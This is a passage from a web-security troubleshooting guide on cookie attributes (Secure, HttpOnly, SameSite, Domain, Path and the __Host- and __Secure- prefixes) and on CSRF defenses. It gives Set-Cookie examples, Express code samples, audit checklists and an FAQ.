Set-Cookie: session=abc123; Secure; HttpOnly
Cause 2: SameSite too restrictive:
# Problem: SameSite=Strict blocks navigation from external sites
Set-Cookie: session=abc123; SameSite=Strict
# Solution: Use Lax for general applications
Set-Cookie: session=abc123; SameSite=Lax
Cause 3: Domain mismatch:
# Problem: Cookie set for different domain
Set-Cookie: session=abc123; Domain=api.example.com
# User visits app.example.com - cookie not sent
# Solution: Don't set Domain or use correct domain
Set-Cookie: session=abc123; HttpOnly; Secure
Cause 4: Path mismatch:
# Problem: Cookie restricted to specific path
Set-Cookie: admin_session=abc123; Path=/admin
# Request to /api/users - cookie not sent
# Solution: Use Path=/ for general cookies
Set-Cookie: session=abc123; Path=/
Issue 2: SameSite=None Not Working
Symptoms:
- Cross-site requests fail
- Widgets don’t work when embedded
- OAuth flows broken
Error message:
Cookie "widget_session" has been rejected because it is in a cross-site context and its SameSite is "Lax" or "Strict".
Solution:
# Wrong: SameSite=None without Secure
Set-Cookie: widget_session=abc123; SameSite=None
# Right: SameSite=None requires Secure
Set-Cookie: widget_session=abc123; Secure; SameSite=None
Additional requirements:
- Must be served over HTTPS
- Some older browsers don’t support SameSite=None
- Consider browser compatibility and fallbacks
Issue 3: Cookies Accessible to JavaScript (Security Risk)
Symptoms:
- document.cookie shows session token
- XSS vulnerability present
- Security audit fails
Problem:
# Missing HttpOnly attribute
Set-Cookie: session=abc123; Secure
// JavaScript can access cookie
console.log(document.cookie) // "session=abc123"
Solution:
# Add HttpOnly attribute
Set-Cookie: session=abc123; Secure; HttpOnly
// JavaScript cannot access HttpOnly cookies
console.log(document.cookie) // Cookie hidden
Issue 4: Cookie Not Persisting Across Browser Restarts
Symptoms:
- User logged out when browser closes
- “Remember me” not working
- Session lost on restart
Cause: Session cookie (no Max-Age or Expires) instead of persistent cookie.
# Session cookie - discarded when the browser session ends (restored by session restore)
Set-Cookie: session=abc123; Secure; HttpOnly
# Persistent cookie - survives browser restart
Set-Cookie: session=abc123; Secure; HttpOnly; Max-Age=2592000
Implementation:
// Without "remember me"
res.cookie('session', sessionId, {
secure: true,
httpOnly: true
// No maxAge - session cookie
})
// With "remember me"
res.cookie('session', sessionId, {
secure: true,
httpOnly: true,
maxAge: req.body.rememberMe ? 2592000000 : undefined
})
Issue 5: __Host- or __Secure- Prefix Rejected
Symptoms:
- Cookie not being set despite correct-looking code
- Browser silently ignores the cookie
- No obvious error in the Console
Problem with __Secure-:
# Rejected: Not served over HTTPS
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure
# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123
Problem with __Host-:
# Rejected: Includes Domain attribute
Set-Cookie: __Host-session=abc123; Secure; Domain=example.com; Path=/
# Rejected: Path is not /
Set-Cookie: __Host-session=abc123; Secure; Path=/admin
# Rejected: Missing Secure attribute
Set-Cookie: __Host-session=abc123; Path=/
Correct usage:
# __Secure- cookie
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Strict
# __Host- cookie (strictest)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
Issue 6: CSRF Attacks Despite Cookie Security
Symptoms:
- CSRF protection bypassed
- Unwanted actions performed
- SameSite not preventing attacks
Problem:
SameSite doesn’t cover everything. Requests from a sibling subdomain count as same-site, older browsers may not enforce it, and Lax still sends cookies on top-level GET navigations.
Additional protections needed:
// 1. CSRF tokens for state-changing operations
// csrf() stands in for your CSRF middleware (the old csurf package is deprecated)
app.use(csrf())
app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() })
})
app.post('/action', (req, res) => {
// CSRF token automatically validated
// Process action
})
// 2. Verify Origin/Referer headers
app.use((req, res, next) => {
if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
const source = req.headers.origin || req.headers.referer
const allowedOrigins = ['https://example.com']
let sourceOrigin = null
try {
sourceOrigin = source ? new URL(source).origin : null
} catch {}
// Compare exact origins: startsWith() would accept https://example.com.evil.net
if (!sourceOrigin || !allowedOrigins.includes(sourceOrigin)) {
return res.status(403).json({ error: 'Invalid origin' })
}
}
next()
})
// 3. Re-authentication for sensitive actions
app.post('/delete-account', requirePassword, (req, res) => {
// Additional password check
})
Debugging Checklist
When cookies aren’t working:
- Check browser DevTools > Application > Cookies
- Verify cookie attributes match requirements
- Ensure HTTPS is used when Secure attribute is set
- Check Domain and Path match current URL
- Verify SameSite setting allows the request type
- Look for JavaScript errors in Console
- Check Network tab for Set-Cookie headers
- Verify browser supports cookie prefixes (if used)
- Clear cookies and test fresh
- Test in different browser/incognito mode
Security audit checklist:
- All session cookies have HttpOnly attribute
- All cookies use Secure attribute in production
- SameSite is set appropriately (Strict or Lax)
- Cookie lifetimes are as short as possible
- Sensitive cookies use the
__Host-or__Secure-prefix - Domain attribute is not set (or very specific)
- Path attribute limits exposure where appropriate
- CSRF protection is implemented
- Session regeneration on privilege changes
- Secure cookie deletion on logout
Best Practices Summary
For All Applications
- Always use HTTPS in production - Required for Secure attribute
- Set HttpOnly on authentication cookies - Prevents XSS cookie theft
- Use SameSite=Lax as minimum - Basic CSRF protection
- Minimize cookie lifetime - Reduce exposure window
- Use cookie prefixes - __Host- for maximum security
- Regenerate session IDs - On login and privilege changes
- Implement proper logout - Clear cookies and invalidate sessions
- Monitor and audit - Regular security reviews
Development vs Production
Development:
// More permissive for local testing
res.cookie('session', sessionId, {
secure: false, // HTTP allowed locally
httpOnly: true,
sameSite: 'lax'
})
Production:
// Strict security in production
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 900000, // 15 minutes
path: '/'
})
Security Layers
Cookie attributes are one layer. A secure app stacks several:
- Cookie attributes - HttpOnly, Secure, SameSite
- HTTPS/TLS - Encrypted transmission
- CSRF tokens - Additional request validation
- Content Security Policy - Mitigate XSS
- Input validation - Prevent injection attacks
- Rate limiting - Prevent brute force
- Session management - Timeout, rotation, validation
- Monitoring - Detect anomalies and attacks
Related Resources
- Headers:
Set-Cookie,Cookie,Content-Security-Policy,Strict-Transport-Security - Security: CORS, HTTPS and TLS, Authentication
- Concepts: Sessions and State, Request Lifecycle
Frequently asked questions
What cookie attributes improve security?
Use Secure (HTTPS only), HttpOnly (no JavaScript access), SameSite=Strict or Lax (CSRF protection). Combine all three for session cookies.
What is the HttpOnly attribute?
HttpOnly prevents JavaScript from accessing the cookie via document.cookie. This protects session tokens from XSS attacks that try to steal cookies.
What does SameSite protect against?
SameSite prevents CSRF attacks by controlling when cookies are sent with cross-site requests. Strict blocks all cross-site, Lax allows safe navigation.
How do I secure session cookies?
Use Secure, HttpOnly, SameSite=Strict, short expiration, and regenerate session ID after login. Store minimal data in cookies, keep sensitive data server-side.
Sources
Related
Cookie-Based vs Session-Based Authentication
Compare cookie-based and session-based authentication. Understand where state lives, security tradeoffs, scalability implications, and when to use each approach.
CSRF (Cross-Site Request Forgery)
CSRF tricks a logged-in browser into sending an unwanted request to your site. See how it works, why CORS does not stop it and which defenses actually do.
XSS (Cross-Site Scripting)
XSS lets an attacker run JavaScript in your page by getting untrusted input rendered as code. Learn the three types, real examples, CSP and HttpOnly limits.
HTTP Security Headers Checklist: Values and Configs
Which HTTP security headers to send and which to drop: starting values for CSP, HSTS and more, with nginx, Apache, Express, Next.js and Cloudflare config.
Cookie Prefixes: __Host- and __Secure- Rules
Cookie prefixes make the browser enforce attributes. The exact __Host- and __Secure- rules from RFC 6265bis, how to set them, and why a cookie vanishes.